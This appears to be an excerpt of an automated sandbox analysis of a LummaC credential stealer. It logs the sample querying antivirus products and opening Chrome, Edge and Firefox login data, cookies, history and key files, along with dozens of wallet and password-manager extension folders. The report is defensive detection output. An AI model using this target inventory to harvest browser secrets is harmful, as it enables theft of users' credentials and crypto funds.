Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4ab57c86 VolumeInformation

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Code function: 50_2_00491486 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

50_2_00491486

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000029.00000002.2597610012.0000019B7B960000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
